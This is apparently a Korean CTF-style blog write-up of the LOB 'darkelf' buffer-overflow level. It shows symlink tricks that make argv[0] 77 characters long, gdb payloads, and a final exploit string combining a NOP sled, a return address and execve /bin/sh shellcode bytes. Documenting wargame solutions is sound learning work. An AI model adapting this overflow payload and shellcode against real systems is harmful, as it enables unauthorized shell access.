LOB 7 - darkelf write up |
darkelf write up 입니다.
here is changed 라고 친절하게 바뀐 부분을 알려준다
argv[0] 의 길이를 77로 만들지 않으면 에러를 출력한다.
우선 아까문제처럼 argv[2] 를 통해 공격을 수행하는거 같은데
argv[0]에는 내가 실행한 파일이름이 들어가는 것으로 알고 있다.
근데 이 길이를 77글자로 만들라는 것은 파일이름의 길이를 77글자로 만들라는 것인가?
그냥 잘 모르겠어서 바로 검색하기로 결심했다
서치결과 심볼릭 링크를 사용해서 해결할 수 있는 문제였다. 즉 쉽게 말하면 원본파일의 바로가기를 만들어서
바로가기 파일의 길이를 77자로 만들어주면 되는 것이다.
이거만 해결하면 바로 직전 문제와 다를게 없으므로 바로 해결해보자.
< 심볼릭링크에 대해서 참고한 글 >
https://jhnyang.tistory.com/269
[darkelf@localhost TMP]$ ln -s orge `perl -e 'print "B"x59'` [darkelf@localhost TMP]$ ls 0 BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB orge |
먼저 orge 의 바로가기를 만들어준다. 이때 77개가 아니라 59개의 B를 추가해주는 이유는 파일 앞의 /home/darkelf/tmp/ 의 길이가 18 이기때문이다.
그리고 59개의 B를 복사한뒤에 gdb로 방금 만든 링크를 열어보자.
strcpy의 다음 지점에서 브레이크를 걸고 아까와 같은 방식으로 두개의 입력을 넣어준다.
argv[1] : `python -c 'print "A" * 47 + "\xbf" '` argv[2] : `python -c 'print "B" * 100 '` payload : r `python -c 'print "A" * 47 + "\xbf" '` `python -c 'print "B" * 100 '` |
0xbffffb54 정도를 argv[2]의 주소로 주면 될 것 같다.
그리고 원본파일에 공격할때는 링크파일의 길이를 다르게해야한다. [ ./ ] 2글자와 75개의 문자값으로 길이를 맞춰주면 된다.
[darkelf@localhost darkelf]$ ln -s orge `python -c 'print "A"*75'` [darkelf@localhost darkelf]$ ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA TMP orge orge.c |
아까와 같이 심볼릭링크를 만들고
아래와 같이 페이로드를 작성한다.
argv[0] : ./ + 75개의 A argv[1] : `python -c 'print "A" * 44 + "\x54\xfb\xff\xbf" '` argv[2] : `python -c 'print "\x90" * 500 +"\x34\xfb\xff\xbf" + "\x90"*500+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" '` payload : ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "A" * 44 + "\x54\xfb\xff\xbf" '` `python -c 'print "\x90" * 500 +"\x34\xfb\xff\xbf" + "\x90"*500+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" '` |
성공 !
'wargame > LOB' 카테고리의 다른 글
[포너블] LOB 9 - troll (0) | 2021.10.03 |
---|---|
[포너블] LOB 8 - orge (0) | 2021.10.03 |
[포너블] LOB 6 - wolfman (0) | 2021.09.30 |
[포너블] LOB 5 - orc (0) | 2021.09.30 |
[포너블] LOB 4 - goblin (0) | 2021.09.30 |
댓글